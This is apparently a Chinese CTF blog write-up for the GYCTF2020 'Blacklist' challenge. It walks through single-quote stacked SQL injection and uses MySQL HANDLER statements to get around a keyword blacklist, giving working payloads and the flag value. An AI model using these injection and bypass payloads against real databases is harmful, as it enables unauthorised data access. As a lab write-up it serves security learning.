2020/7/10 - [GYCTF2020]Blacklist - handler绕过sql黑名单

原创

抒情诗、 于 2020-07-10 12:27:56 发布 585 收藏

分类专栏： CTF 文章标签： sql 安全

本文链接：https://blog.csdn.net/zhangxiansheng12/article/details/107247450

文章目录

这个跟[强网杯 2019]随便注这道题有些类似，都是堆叠注入的形式，不同有

1.那个似乎是数字型注入，这个是字符型的注入

2.那个黑名单过滤的少，这个几乎能用的都过滤了

1.先看是什么类型的注入

分别用

```
1 or 1=1#
```

```
1’ or 1=1#
```

```
1" or 1=1#
```

执行测试，返回全部库信息的即是该类型。试一下，发现是单引号字符型注入。

2.测试堆叠注入

使用以下payload测试是否是堆叠注入

```
1';show databases;#
```

执行到了，说明就是堆叠注入，下面就是我们依次判断flag在哪里了。

判断表

```
1';show tables;#
```

查FlagHere表信息。

```
1';show columns from FlagHere;#
```

返回了这个

```
array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}
```

flag可能就在这个表里面，但是select与set、alter等众多关键词都被黑名单掉了，这里要利用HANDLER

> 通过HANDLER tbl_name OPEN打开一张表，无返回结果，实际上我们在这里声明了一个名为tb1_name的句柄。

> 通过HANDLER tbl_name READ FIRST获取句柄的第一行，通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。

> 通过HANDLER tbl_name CLOSE来关闭打开的句柄。

HANDLER的详细使用方法

3.最终payload

```
1';handler FlagHere open;handler FlagHere read first;Handler FlagHere close;#
```

获得flag

```
flag{7a2e4d0f-4bed-460a-99d7-e48fcf1032c4}
```

学习了学习了。